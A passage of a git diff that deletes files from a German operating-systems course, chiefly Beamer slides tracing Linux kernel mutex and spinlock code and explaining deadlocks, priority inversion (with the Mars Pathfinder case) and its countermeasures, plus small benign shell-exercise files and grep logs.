gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{40.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - \put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\sectionnonumber{Theorie der Echtzeitsysteme} -\subsection{Multitasking} -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \pause - \bigskip - - Beispiel: Philosophenproblem - - \only<2-3>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \pause - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<4->{% - \bigskip - - Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}\pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.7cm]{pathfinder.jpg} - \vspace*{-1cm} - \end{center} - } - - \bigskip - - \only<2>{% - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \end{itemize} - - \bigskip - - \begin{minipage}{7.0cm} - \begin{flushright} - \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} - \end{flushright} - \end{minipage} - - \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm} - } - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \only<1-2>{% - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - - \only<3->{% - \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} - \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} -% \only<1>{% -% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} -% } - \put(0,1){\line(1,0){10}} - -% \only<1>{% -% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} -% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} -% } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} -% \only<1>{% -% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} -% } - \put(0,3){\line(1,0){10}} - -% \only<2>{% -% \only<2>{% - \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} - \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} -% } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \pause - \begin{picture}(0,0) - \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \smallskip - \pause - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\end{document} diff --git a/20161006/unix-20161006.pdf b/20161006/unix-20161006.pdf deleted file mode 100644 index 13af3df37127ad219d551e9ba2a58c4f00f6b4b7..0000000000000000000000000000000000000000 Binary files a/20161006/unix-20161006.pdf and /dev/null differ diff --git a/20161006/wp-systemtechnik.png b/20161006/wp-systemtechnik.png deleted file mode 100644 index 63a4ed8cce25f9317c17b67208082ae9552f1b06..0000000000000000000000000000000000000000 Binary files a/20161006/wp-systemtechnik.png and /dev/null differ diff --git a/20161006/xbee.jpg b/20161006/xbee.jpg deleted file mode 120000 index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000 --- a/20161006/xbee.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/xbee.jpg \ No newline at end of file diff --git a/20161013/cool.sh b/20161013/cool.sh deleted file mode 100644 index efeff447842644e299e47dda10bd73cf6958cc52..0000000000000000000000000000000000000000 --- a/20161013/cool.sh +++ /dev/null @@ -1 +0,0 @@ -while true; do echo -n "Shell-Programmierung ist cool. :-) "; sleep 0.5s; done diff --git a/20161013/fehler.txt b/20161013/fehler.txt deleted file mode 100644 index 7df7bbb4505ba2b362f43173ded3b955fc5e6542..0000000000000000000000000000000000000000 --- a/20161013/fehler.txt +++ /dev/null @@ -1,2 +0,0 @@ -cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden -cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden diff --git a/20161013/foo/test.c b/20161013/foo/test.c deleted file mode 100755 index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000 Binary files a/20161013/foo/test.c and /dev/null differ diff --git a/20161013/grep.err b/20161013/grep.err deleted file mode 100644 index c0cecdc84b22acc90d142ded1a106491878c950a..0000000000000000000000000000000000000000 --- a/20161013/grep.err +++ /dev/null @@ -1,4 +0,0 @@ -grep: bla: Ist ein Verzeichnis -grep: foo: Ist ein Verzeichnis -grep: die Eingabedatei „grep.log“ ist auch die Ausgabedatei -grep: test-2.txt: Datei oder Verzeichnis nicht gefunden diff --git a/20161013/grep.log b/20161013/grep.log deleted file mode 100644 index 09f4b1b107ba796f3cc1f10267583a7564c44e47..0000000000000000000000000000000000000000 --- a/20161013/grep.log +++ /dev/null @@ -1,17 +0,0 @@ -Übereinstimmungen in Binärdatei test. -test-1.txt:Dies ist ein Test. -test-1.txt:Ein Test. -test-1.txt:Dies ist ein Test. -test-1.txt:Ein Test. -test-1.txt:Ein Test. -test-3.txt:Dies ist ein Test. -test-3.txt:Ein Test. -test-3.txt:Dies ist ein Test. -test-3.txt:Ein Test. -test-3.txt:Ein Test. -test-4.txt:Dies ist ein Test. -test-4.txt:Ein Test. -test-4.txt:Dies ist ein Test. -test-4.txt:Ein Test. -test-4.txt:Ein Test. -test.c: printf ("Dies ist ein Test.\n"); diff --git a/20161013/klausur-zip.sh b/20161013/klausur-zip.sh deleted file mode 100644 index 9d525cd847827d4b35bd839597f365ec8d16b2b1..0000000000000000000000000000000000000000 --- a/20161013/klausur-zip.sh +++ /dev/null @@ -1 +0,0 @@ -zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig) diff --git a/20161013/make-klausur-zip.sh b/20161013/make-klausur-zip.sh deleted file mode 100644 index f2658dc69ddde92c4f3a59ae8a01bf2d44c738b0..0000000000000000000000000000000000000000 --- a/20161013/make-klausur-zip.sh +++ /dev/null @@ -1 +0,0 @@ -echo 'zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig)' > klausur-zip.sh diff --git a/20161013/tafelbild-20161013-112458.jpg b/20161013/tafelbild-20161013-112458.jpg deleted file mode 100644 index 201130a2037912fcab129ba36a9e00bf15c3fe46..0000000000000000000000000000000000000000 Binary files a/20161013/tafelbild-20161013-112458.jpg and /dev/null differ diff --git a/20161013/test b/20161013/test deleted file mode 100755 index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000 Binary files a/20161013/test and /dev/null differ diff --git a/20161013/test-1.sh b/20161013/test-1.sh deleted file mode 100755 index 7bcac8bfc897131206cb32ba88d805ed03dca042..0000000000000000000000000000000000000000 --- a/20161013/test-1.sh +++ /dev/null @@ -1 +0,0 @@ -ls -l diff --git a/20161013/test-1.txt b/20161013/test-1.txt deleted file mode 100644 index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000 --- a/20161013/test-1.txt +++ /dev/null @@ -1,9 +0,0 @@ -Dies ist ein Test. -Was ist das? -Ein Test. - -Dies ist ein Test. -Was ist das? -Was ist das? -Ein Test. -Ein Test. diff --git a/20161013/test-2.sh b/20161013/test-2.sh deleted file mode 100755 index 8f1e1031454c615b584526052a5bd3cd84ef9ac9..0000000000000000000000000000000000000000 --- a/20161013/test-2.sh +++ /dev/null @@ -1,2 +0,0 